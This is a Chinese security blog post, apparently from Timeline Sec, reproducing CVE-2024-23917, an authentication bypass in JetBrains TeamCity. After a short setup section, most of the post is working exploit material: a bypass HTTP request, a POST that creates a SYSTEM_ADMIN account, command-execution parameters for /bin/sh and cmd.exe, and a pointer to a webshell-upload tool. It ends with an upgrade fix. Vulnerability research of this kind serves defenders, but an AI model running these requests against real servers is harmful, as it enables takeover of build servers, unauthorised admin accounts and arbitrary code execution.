作者:niko@Timeline Sec
本文字数:2006
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
TeamCity是一款功能强大的持续集成(Continue Integration)工具,包括服务器端和客户端,支持Java,.NET项目开发。
0x02 漏洞概述
漏洞编号:CVE-2024-23917
2024年2月 Jetbrain官方披露CVE-2024-23917 TeamCity 认证绕过漏洞,攻击者可构造恶意请求绕过权限认证,并利用相关功能执行任意代码,控制服务器。
0x03 影响版本
JetBrains TeamCity < 2023.11.3
0x04 环境搭建
https://www.jetbrains.com/zh-cn/teamcity/download/other.html
选择2023.05.2版本
下载后按照自行需求进行配置即可,此处环境搭建时一路确定
最后经过几分钟的初始化后,出现如下登录界面则表示环境搭建成功
0x05 漏洞复现
/app/rest/server
该鉴权接口提供 REST API,用于集成外部应用程序并与 TeamCity 服务器创建脚本交互。未登录情况下,访问出现302条转至登陆界面
使用如下payload可以绕过鉴权访问接口信息
GET /app/rest/server;.jsp?jsp_precompile=true HTTP/1.1
Host:
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 4
可以利用权限绕过漏洞添加账号,进行后利用
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host:
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: tenantId=default; TCSESSIONID=42A39DB0C38442812878BFE9737E3EFB; __test=1
Content-Type: application/json
Connection: close
Content-Length: 146
{"username": "timeline", "password": "timeline", "email": "[email protected]","roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
后续RCE利用方式有两种,根据不同版本选择不同的利用方式
-
登录状态下请求 /app/rest/debug/processes
接口进行命令执行。但该接口在2023.11.x之后被删除
Linux - processes?exePath=/bin/sh¶ms=-c¶ms={yourRCE_HTMLEncoded}
Windows - processes?exePath=cmd.exe¶ms=/c¶ms={yourRCE_HTMLEncoded}
-
后台构造上传恶意插件传webshell,利用工具:https://github.com/W01fh4cker/CVE-2024-27198-RCE
0x06 修复方式
升级 teamcity 至官方最新版本。
历史漏洞
CVE-2024-23917-前台-POC已公开
CVE-2024-27198-前台-POC已公开
CVE-2024-27199-前台-POC已公开
CVE-2023-42793-前台-POC已公开
原文始发于微信公众号(Timeline Sec):CVE-2024-23917:TeamCity认证绕过RCE漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论